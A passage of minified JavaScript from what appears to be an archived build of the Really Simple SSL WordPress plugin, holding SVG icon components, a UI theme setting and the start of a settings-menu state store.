463.1z"}))),"loading"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[a],d:"M304 48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zm0 416c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM48 304c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48zm464-48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM142.9 437c18.7-18.7 18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zm0-294.2c18.7-18.7 18.7-49.1 0-67.9S93.7 56.2 75 75s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zM369.1 437c18.7 18.7 49.1 18.7 67.9 0s18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9z"}))),"file-download"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M216 342.1V240c0-13.25-10.75-24-24-24S168 226.8 168 240v102.1L128.1 303C124.3 298.3 118.2 296 112 296S99.72 298.3 95.03 303c-9.375 9.375-9.375 24.56 0 33.94l80 80c9.375 9.375 24.56 9.375 33.94 0l80-80c9.375-9.375 9.375-24.56 0-33.94s-24.56-9.375-33.94 0L216 342.1zM365.3 93.38l-74.63-74.64C278.6 6.742 262.3 0 245.4 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.2 0 64-28.8 64-64V138.6C384 121.7 377.3 105.4 365.3 93.38zM336 448c0 8.836-7.164 16-16 16H64.02c-8.838 0-16-7.164-16-16L48 64.13c0-8.836 7.164-16 16-16h160L224 128c0 17.67 14.33 32 32 32h79.1V448z"}))),"calendar"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M152 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V448C448 483.3 419.3 512 384 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24V64zM48 448C48 456.8 55.16 464 64 464H384C392.8 464 400 456.8 400 448V192H48V448z"}))),"calendar-error"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 576 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M151.1 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V192H47.1V448C47.1 456.8 55.16 464 63.1 464H284.5C296.7 482.8 312.5 499.1 330.8 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24L151.1 64zM576 368C576 447.5 511.5 512 432 512C352.5 512 287.1 447.5 287.1 368C287.1 288.5 352.5 224 432 224C511.5 224 576 288.5 576 368zM432 416C418.7 416 408 426.7 408 440C408 453.3 418.7 464 432 464C445.3 464 456 453.3 456 440C456 426.7 445.3 416 432 416zM447.1 288C447.1 279.2 440.8 272 431.1 272C423.2 272 415.1 279.2 415.1 288V368C415.1 376.8 423.2 384 431.1 384C440.8 384 447.1 376.8 447.1 368V288z"}))),"help"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 400c-18 0-32-14-32-32s13.1-32 32-32c17.1 0 32 14 32 32S273.1 400 256 400zM325.1 258L280 286V288c0 13-11 24-24 24S232 301 232 288V272c0-8 4-16 12-21l57-34C308 213 312 206 312 198C312 186 301.1 176 289.1 176h-51.1C225.1 176 216 186 216 198c0 13-11 24-24 24s-24-11-24-24C168 159 199 128 237.1 128h51.1C329 128 360 159 360 198C360 222 347 245 325.1 258z"}))),"copy"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M502.6 70.63l-61.25-61.25C435.4 3.371 427.2 0 418.7 0H255.1c-35.35 0-64 28.66-64 64l.0195 256C192 355.4 220.7 384 256 384h192c35.2 0 64-28.8 64-64V93.25C512 84.77 508.6 76.63 502.6 70.63zM464 320c0 8.836-7.164 16-16 16H255.1c-8.838 0-16-7.164-16-16L239.1 64.13c0-8.836 7.164-16 16-16h128L384 96c0 17.67 14.33 32 32 32h47.1V320zM272 448c0 8.836-7.164 16-16 16H63.1c-8.838 0-16-7.164-16-16L47.98 192.1c0-8.836 7.164-16 16-16H160V128H63.99c-35.35 0-64 28.65-64 64l.0098 256C.002 483.3 28.66 512 64 512h192c35.2 0 64-28.8 64-64v-32h-47.1L272 448z"}))),"info"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"}))),"info-open"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 464c-114.7 0-208-93.31-208-208S141.3 48 256 48s208 93.31 208 208S370.7 464 256 464zM256 304c13.25 0 24-10.75 24-24v-128C280 138.8 269.3 128 256 128S232 138.8 232 152v128C232 293.3 242.8 304 256 304zM256 337.1c-17.36 0-31.44 14.08-31.44 31.44C224.6 385.9 238.6 400 256 400s31.44-14.08 31.44-31.44C287.4 351.2 273.4 337.1 256 337.1z"}))),"list"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M184.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 113c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM256 96c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zM192 416c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zM80 464c-26.5 0-48-21.5-48-48s21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48z"}))),"empty"===n&&(m=(0,s.createElement)("svg",{height:c,width:c,"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"})),"external-link"===n&&(m=(0,s.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("path",{fill:o[i],d:"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"}))),"shield"===n&&(m=(0,s.createElement)("svg",{height:c,"aria-hidden":"true",focusable:"false",role:"img",id:"uuid-026a4e87-44db-4336-a398-3c29d25b7317",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"},(0,s.createElement)("path",{fill:"#f9c23e",d:"M280.8,62.4L140.5,0,0,62.2V213.3c0,10.7,1.6,21.3,4.9,31.5,9.5,29.9,28.2,52.8,54.4,69.5,26,16.6,52.4,32.4,78.6,48.6,2,1.2,3.4,.9,5.1-.2,19.9-12.3,39.8-24.5,59.6-36.8,12.6-7.8,25.5-15.1,36.5-25.1,26.4-24.2,41.4-53.6,41.5-89.9V62.4h.2Z"}),(0,s.createElement)("g",null,(0,s.createElement)("g",null,(0,s.createElement)("rect",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",x:"155",y:"266.8",width:"77.6",height:"6"}),(0,s.createElement)("path",{fill:"#1d2327",d:"M224.4,204.5h-1.8v-10.1c0-15.9-12.9-28.8-28.8-28.8s-28.8,12.9-28.8,28.8v10.1h-1.8c-4.6,0-8.3,3.7-8.3,8.3v51.3h77.6v-51.3c0-4.6-3.7-8.3-8.3-8.3h.2Zm-45.3-10.1c0-8.1,6.6-14.7,14.7-14.7s14.7,6.6,14.7,14.7v10.1h-29.5v-10.1h.1Zm36.6,32.9l-20.7,20.2c-.2,.2-.3,.4-.5,.6l-2,2c-.2,.2-.4,.4-.6,.5l-3.8,3.8-4.5-4.3-2-2c-.2-.2-.4-.4-.5-.6l-9.1-9.1c-2.4-2.4-2.4-6.4,0-8.8l2-2c2.4-2.4,6.4-2.4,8.8,0l5.3,5.3,16.9-16.4c2.4-2.4,6.4-2.4,8.8,0l2,2c2.4,2.4,2.4,6.4,0,8.8h-.1Z"})),(0,s.createElement)("g",null,(0,s.createElement)("path",{fill:"#1d2327",d:"M125.2,192.3c-.5-2.9-.5-5.8-1-8.6-.5-2.4-2.6-4-4.8-3.9-2.3,0-4.2,1.9-4.7,4.3-.2,1,0,1.9,0,2.9,.8,14.6,7.2,26.3,18.2,35.7,2.2,1.9,4.5,3.5,6.9,4.8v-11.8c-7.4-5.8-12.9-14.1-14.6-23.3v-.1Z"}),(0,s.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M96.4,236.1c-13-15-20-32.3-19.5-52.3,.3-13.1,6.1-23.6,16.6-31.2,11.5-8.5,24.5-10.9,38.3-7.1,12.7,3.5,22,10.7,27.4,22,2.1-2.7,4.5-5.2,7.2-7.4-4-7-9.7-12.9-17-17.4-17-10.4-34.9-11.7-52.9-3.1-19,9.1-28.7,24.7-29.3,45.8,0,5.2,.5,10.2,1.4,15.2,3.4,19.4,13.4,35.2,27.2,48.9,1.1,1.1,2.5,1.6,4.1,1.4,1.8-.2,3.2-1.3,3.8-3,.6-1.8,.4-3.6-1-5.1-2.1-2.2-4.2-4.4-6.2-6.7h-.1Z"}),(0,s.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M68.1,89.4c1.1-.4,2.1-1,3.1-1.5,17.9-9.1,36.8-12.7,56.8-11.3,12.2,.8,23.9,3.8,35.1,8.7,3,1.3,5.9,2.8,8.9,4.1,2.7,1.1,5.3,0,6.4-2.4,1.1-2.3,0-5-2.3-6.3-11-5.7-22.4-10-34.6-12.3-4.2-.8-8.5-1.1-12.8-1.7h-17.1c-.3,0-.6,.2-.9,.2-11.2,.8-22,3.2-32.5,7.2-4.9,1.9-9.7,4.1-14.3,6.6-2.5,1.3-3.4,4.2-2.2,6.5,1.1,2.2,4,3.2,6.4,2.1v.1Z"}),(0,s.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M61.1,153.5c13.6-21.6,33.6-31.5,58.7-32.1h6c.8,0,1.6,.2,2.3,.3,13.4,1.7,25.5,6.6,35.9,15.4,5.8,4.9,10.5,10.3,14.1,16.2,3.1-1.2,6.4-2,9.8-2.5-4.7-8.7-11.3-16.3-19.6-22.7-19-14.6-40.5-19.5-64.1-15.1-14.3,2.7-26.9,9-37.7,18.8-10.4,9.5-17.8,20.9-21.2,34.6-2.8,11.3-2.6,22.7-.9,34.1,1.1,7,2.9,13.9,5.4,20.5,.9,2.3,3,3.7,5.2,3.5,2.1-.2,3.9-2,4.3-4.3,.2-1.1-.2-2.2-.6-3.2-4.3-11.9-6.3-24.1-5.6-36.7,.5-9.6,2.8-18.7,8-26.8h0Z"}),(0,s.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M139.8,240.6c-20.9-8.4-34.1-23.7-38.4-46.7-.8-4.3-1.4-8.7-.4-13,1.8-7.1,6.4-11.4,13.4-13.5,11.8-3.4,24.7,5.3,24.5,17.6,0,4.8,1.4,9.3,4,13.4,.3,.5,.6,.9,.9,1.3,1.6-2.4,3.7-4.6,6.1-6.2,0-.9,0-1.9,.2-2.8-.7-1.7-1.1-3.5-1.2-5.3-.3-6.1-1.6-11.9-5.5-16.8-6.8-8.8-15.9-12.4-27-11.5-11.3,.9-21.6,9.6-24.5,20.6-1.8,6.6-.9,13.3,.4,19.8,2.4,12.9,8.2,24,17.1,33.7,8.6,9.4,18.8,15.8,30.6,19.8v-10.4h-.2Z"}),(0,s.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M47.5,133.2c6.8-8.8,15-16,24.6-21.6,20.8-12,43.2-15.2,66.6-11,14.8,2.7,28.2,8.7,39.9,18.2,6.3,5,11.6,11,16.4,17.4,1.9,2.5,4.8,2.8,7,1.1,2.1-1.7,2.4-4.5,.6-7-5.9-8.2-12.8-15.3-20.9-21.3-18.3-13.6-39.1-19.6-61.7-20-6.3,0-12.5,.6-18.6,1.6-15.7,2.8-30.1,8.6-42.9,18.1-8.3,6.2-15.5,13.5-21.5,22-1.6,2.3-1.3,5.1,.7,6.7,2.1,1.7,4.9,1.5,6.8-.7,1-1.2,1.9-2.5,2.9-3.7l.1,.2Z"}))))),"file-search"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:c,fill:"none",viewBox:"0 0 384 512"},(0,s.createElement)("path",{d:"M374.6 150.6l-141.3-141.3C227.4 3.371 219.2 0 210.7 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.35 0 64-28.66 64-64V173.3C384 164.8 380.6 156.6 374.6 150.6zM224 22.63L361.4 160H248C234.8 160 224 149.2 224 136V22.63zM368 448c0 26.47-21.53 48-48 48H64c-26.47 0-48-21.53-48-48V64c0-26.47 21.53-48 48-48h144v120c0 22.06 17.94 40 40 40h120V448zM176 208c-53.02 0-96 42.98-96 96s42.98 96 96 96c23.62 0 44.96-8.859 61.68-23l68.66 68.66C307.9 447.2 309.9 448 312 448s4.094-.7813 5.656-2.344c3.125-3.125 3.125-8.188 0-11.31l-68.66-68.66C263.1 348.1 272 327.6 272 304C272 250.1 229 208 176 208zM176 384C131.9 384 96 348.1 96 304S131.9 224 176 224S256 259.9 256 304S220.1 384 176 384z"}))),"download"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:c,fill:"none",viewBox:"0 0 512 512"},(0,s.createElement)("path",{d:"M480 352h-88C387.6 352 384 355.6 384 360s3.582 8 8 8H480c8.822 0 16 7.178 16 16v96c0 8.822-7.178 16-16 16H32c-8.822 0-16-7.178-16-16v-96c0-8.822 7.178-16 16-16h88C124.4 368 128 364.4 128 360S124.4 352 120 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96C512 366.3 497.7 352 480 352zM464 432c0-17.6-14.4-32-32-32s-32 14.4-32 32c0 17.6 14.4 32 32 32S464 449.6 464 432zM416 432c0-8.822 7.178-16 16-16s16 7.178 16 16S440.8 448 432 448S416 440.8 416 432zM250.3 413.7c3.125 3.125 8.188 3.125 11.31 0l152-152C415.2 260.1 416 258.1 416 256s-.7813-4.094-2.344-5.656c-3.125-3.125-8.188-3.125-11.31 0L264 388.7V8C264 3.594 260.4 0 256 0S248 3.594 248 8v380.7L109.7 250.3c-3.125-3.125-8.188-3.125-11.31 0s-3.125 8.188 0 11.31L250.3 413.7z"}))),"satellite-dish"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[i],height:c,viewBox:"0 0 512 512"},(0,s.createElement)("path",{d:"M208 0c-8.8 0-16 7.2-16 16s7.2 16 16 16c150.2 0 272 121.8 272 272c0 8.8 7.2 16 16 16s16-7.2 16-16C512 136.1 375.9 0 208 0zm0 96c-8.8 0-16 7.2-16 16s7.2 16 16 16c97.2 0 176 78.8 176 176c0 8.8 7.2 16 16 16s16-7.2 16-16c0-114.9-93.1-208-208-208zM32 304c0-24.5 5-47.7 13.9-68.8L276.8 466.1C255.7 475 232.5 480 208 480c-97.2 0-176-78.8-176-176zm33.5-94.5c-14-14-37.3-12.1-45.7 5.8C7.1 242.2 0 272.3 0 304C0 418.9 93.1 512 208 512c31.7 0 61.8-7.1 88.7-19.8c17.9-8.4 19.8-31.8 5.8-45.7L195.3 339.3l24-24c6.3 3 13.3 4.7 20.7 4.7c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48c0 7.4 1.7 14.4 4.7 20.7l-24 24L65.5 209.5zM224 272a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"}))),"rotate-light"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[i],height:c,viewBox:"0 0 512 512"},(0,s.createElement)("path",{d:"M426.1 301.2C406.2 376.5 337.6 432 256 432c-51 0-96.9-21.7-129-56.3l41-41c5.1-5.1 8-12.1 8-19.3c0-15.1-12.2-27.3-27.3-27.3H48c-8.8 0-16 7.2-16 16V404.7C32 419.8 44.2 432 59.3 432c7.2 0 14.2-2.9 19.3-8l25.7-25.7C142.3 438.7 196.2 464 256 464c97.4 0 179.2-67 201.8-157.4c2.4-9.7-5.2-18.6-15.2-18.6c-7.8 0-14.5 5.6-16.5 13.2zM385 136.3l-41 41c-5.1 5.1-8 12.1-8 19.3c0 15.1 12.2 27.3 27.3 27.3H464c8.8 0 16-7.2 16-16V107.3C480 92.2 467.8 80 452.7 80c-7.2 0-14.2 2.9-19.3 8l-25.7 25.7C369.7 73.3 315.8 48 256 48C158.6 48 76.8 115 54.2 205.4c-2.4 9.7 5.2 18.6 15.2 18.6c7.8 0 14.5-5.6 16.5-13.2C105.8 135.5 174.4 80 256 80c51 0 96.9 21.7 129.1 56.3zM448 192H374.6L448 118.6V192zM64 320h73.4L64 393.4V320z"}))),"rotate-exclamation-light"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("defs",null,(0,s.createElement)("style",null,`\n            .fa-secondary {\n              opacity: 0.4;\n              color: ${o[i]};\n            }\n          `)),(0,s.createElement)("path",{className:"fa-primary",d:"M280 152c0-13.3-10.7-24-24-24s-24 10.7-24 24V264c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM256 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"}),(0,s.createElement)("path",{className:"fa-secondary",d:"M432 117.4C391 65.4 327.4 32 256 32C158.4 32 75.5 94.4 44.8 181.3c-5.9 16.7 2.8 34.9 19.5 40.8s34.9-2.8 40.8-19.5C127.1 140.5 186.4 96 256 96c52.3 0 98.8 25.1 128 64H352c-17.7 0-32 14.3-32 32s14.3 32 32 32h84.3c.5 0 1 0 1.5 0H464c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32s-32 14.3-32 32v37.4zm35.2 213.2c5.9-16.7-2.8-34.9-19.5-40.8s-34.9 2.8-40.8 19.5C384.9 371.5 325.6 416 256 416c-52.3 0-98.8-25.1-128-64h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32V432c0 17.7 14.3 32 32 32s32-14.3 32-32V394.6c41 52 104.6 85.4 176 85.4c97.6 0 180.5-62.4 211.2-149.3z"}))),"radar-duotone"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("defs",null,(0,s.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[i]} !important;\n            }        \n          `)),(0,s.createElement)("path",{className:"fa-primary",d:"M497 49c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-182 182c-7.7-3.3-16.1-5.1-25-5.1c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64c0-8.9-1.8-17.3-5.1-25L497 49z"}),(0,s.createElement)("path",{className:"fa-secondary",d:"M350.9 127.2l-46.1 46.1c-14.3-8.4-31-13.3-48.8-13.3c-53 0-96 43-96 96s43 96 96 96s96-43 96-96h64c0 73.5-49.6 135.5-117.2 154.2C290.8 394.7 274.7 384 256 384s-34.8 10.7-42.8 26.2c-51.7-14.3-92.8-53.9-109.4-104.6c14.4-8.3 24.1-23.8 24.1-41.7c0-19.4-11.5-36.1-28-43.7C116.2 149.1 179.9 96 256 96c35.5 0 68.3 11.6 94.9 31.2zm22.8-22.8C341.2 79 300.4 64 256 64C163.1 64 85.7 129.9 67.9 217.6C47.2 222.9 32 241.7 32 264c0 23.8 17.3 43.6 40.1 47.4c19.3 64.3 71.5 114.4 137 130.9C213.8 463.8 233 480 256 480s42.2-16.2 46.9-37.8C386.3 421.3 448 345.9 448 256h64c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0c62.1 0 118.9 22.1 163.3 58.8l-45.5 45.5z"}))),"satellite-dish-duotone"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:c},(0,s.createElement)("defs",null,(0,s.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[i]} !important;\n            }        \n          `)),(0,s.createElement)("path",{className:"fa-primary",d:"M60.6 220.6c-14.5-14.5-38.8-11.8-46.3 7.3C5.1 251.5 0 277.1 0 304C0 418.9 93.1 512 208 512c26.9 0 52.5-5.1 76.1-14.4c19-7.5 21.8-31.8 7.3-46.3L187.3 347.3l28.4-28.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3l-28.4 28.4L60.6 220.6z"}),(0,s.createElement)("path",{className:"fa-secondary",d:"M224 0c-17.7 0-32 14.3-32 32s14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0zm0 96c-17.7 0-32 14.3-32 32s14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192z"}))),"spinner"===n&&(m=(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",width:"20",height:"20"},(0,s.createElement)("defs",null,(0,s.createElement)("style",null,"\n                            .fa-secondary {\n                              opacity: 0.4;\n                            }\n                          ")),(0,s.createElement)("path",{className:"fa-primary",d:"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 256A48 48 0 1 0 0 256a48 48 0 1 0 96 0zM75 142.9A48 48 0 1 0 142.9 75 48 48 0 1 0 75 142.9z"}),(0,s.createElement)("path",{className:"fa-secondary",d:"M369.1 75A48 48 0 1 1 437 142.9 48 48 0 1 1 369.1 75zM416 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM208 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM75 369.1A48 48 0 1 1 142.9 437 48 48 0 1 1 75 369.1zm294.2 0A48 48 0 1 1 437 437a48 48 0 1 1 -67.9-67.9z"}))),(0,s.createElement)("div",{...e,ref:t},m)})),n=({name:e,color:t,size:l,tooltip:n})=>{const i=e||"bullet",c=t||"black";let o=l||15,m=n?"tooltip-":"",d=Math.floor(1e9*Math.random());return n?(0,s.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+i+" rsssl-"+c},(0,s.createElement)(r,{"data-for":".rsssl-"+d,name:i,color:c,size:o,id:d,className:"rsssl-"+d,"data-tooltip-delay-hide":200}),(0,s.createElement)(a.m_,{style:{zIndex:99},id:d,place:"bottom",anchorSelect:".rsssl-"+d,content:n})):(0,s.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+i+" rsssl-"+c},(0,s.createElement)(r,{name:i,color:c,size:o}))}},1075:(e,t,l)=>{l.d(t,{A:()=>s});const s=(0,l(3478).A)({typography:{fontSize:12,fontFamily:"inherit"},components:{MuiAutocomplete:{styleOverrides:{inputRoot:{"& .MuiAutocomplete-input":{border:0},flexWrap:"inherit"},popper:{fontSize:"12px"},paper:{fontSize:"12px"},option:{fontSize:"12px"}}},MuiInputBase:{styleOverrides:{root:{fontSize:"12px",fontFamily:"inherit",height:"40px"}}},MuiList:{styleOverrides:{root:{fontSize:"8px"}}}}})}}]);really-simple-ssl/settings/build/index.dc0e12538832ff741b9e.js000064400000162051147510273070017363 0ustar00(()=>{var e,t,n={2043:(e,t,n)=>{"use strict";n.d(t,{A:()=>o});var r=n(1621),s=n(5511);const o=(0,r.vt)(((e,t)=>({menu:[],subMenuLoaded:!1,previousMenuItem:!1,nextMenuItem:!1,selectedMainMenuItem:!1,selectedSubMenuItem:!1,selectedFilter:!1,activeGroupId:!1,hasPremiumItems:!1,subMenu:{title:" ",menu_items:[]},setSelectedSubMenuItem:async t=>{let n=u(t);e((e=>({selectedSubMenuItem:t,selectedMainMenuItem:n}))),window.location.hash=n+"/"+t},setSelectedMainMenuItem:t=>{e((e=>({selectedMainMenuItem:t}))),window.location.hash=t},fetchSelectedMainMenuItem:()=>{let t=(0,s.A)("main")||"dashboard";e((e=>({selectedMainMenuItem:t})))},fetchSelectedSubMenuItem:async()=>{let t=(0,s.A)("menu")||"general";e((e=>({selectedSubMenuItem:t})))},fetchMenuData:t=>{let n=rsssl_settings.menu;n=Object.values(n);const r=(0,s.A)("main")||"dashboard";if(n=n.filter((e=>!e.default_hidden||r===e.id)),void 0!==t){let s=c(n,r);const o=d(s,t);s.menu_items=l(s.menu_items,t,o);const{nextMenuItem:i,previousMenuItem:u}=a(n,o,t),f=s.menu_items.filter((e=>!0===e.premium)).length>0;e((e=>({subMenuLoaded:!0,menu:n,nextMenuItem:i,previousMenuItem:u,selectedMainMenuItem:r,selectedSubMenuItem:o,subMenu:s,hasPremiumItems:f})))}else e((e=>({menu:n,selectedMainMenuItem:r})))},getDefaultSubMenuItem:async e=>{let n=t().subMenuLoaded;n||await t().fetchMenuData(e);let r=t().subMenu,o=n&&r.hasOwnProperty(0)?r[0].id:"general",i=(0,s.A)("menu"),a=!1;for(const e in(void 0).menu.menu_items)r.hasOwnProperty(e)&&r[e].id===i&&(a=!0);return a||(i=!1),i||o}}))),i=(e,t,n)=>(t.forEach((t=>{t.visible&&(e.push(t.id),t.hasOwnProperty("menu_items")&&(t.menu_items=l(t.menu_items,n),i(e,t.menu_items,n)))})),e),a=(e,t,n)=>{let r,s;const o=[];i(o,e,n);const a=o.findIndex((e=>e===t));return-1!==a&&(r=o[0===a?"":a-1],f(r,e).hasOwnProperty("menu_items")&&(r=o[0===a?"":a-2]),s=o[a===o.length-1?"":a+1],r=r||o[0],s=s||o[o.length-1]),{nextMenuItem:s,previousMenuItem:r}},l=(e,t)=>{if(!Array.isArray(t))return e;const n=e;for(const[r,s]of e.entries()){let e=t.filter((e=>e.menu_id===s.id));e=e.filter((e=>e.visible)),0!==e.length||s.hasOwnProperty("menu_items")?("object"==typeof n[r]&&null!==n[r]&&(n[r].visible=!0),s.hasOwnProperty("menu_items")&&(n[r].menu_items=l(s.menu_items,t))):"object"==typeof n[r]&&null!==n[r]&&(n[r].visible=!1)}return n},c=(e,t)=>{let n=[];for(const r in e)e.hasOwnProperty(r)&&e[r].id===t&&(n=e[r]);return n=m(n),n},u=e=>{let t=rsssl_settings.menu;for(const n in t){let r=t[n];if(r.id===e)return r.id;if(r.menu_items)for(const t in r.menu_items){let n=r.menu_items[t];if(n.id===e)return r.id;if(n.menu_items)for(const t in n.menu_items)if(n.menu_items[t].id===e)return r.id}}return!1},d=(e,t)=>{let n,r=e&&e.menu_items.hasOwnProperty(0)?e.menu_items[0].id:"general",o=i([],e.menu_items),a=(0,s.A)("menu");n=o.filter((e=>e===a)),n||(a=!1);let l=a||r;if(0===t.filter((e=>e.menu_id===l)).length){let 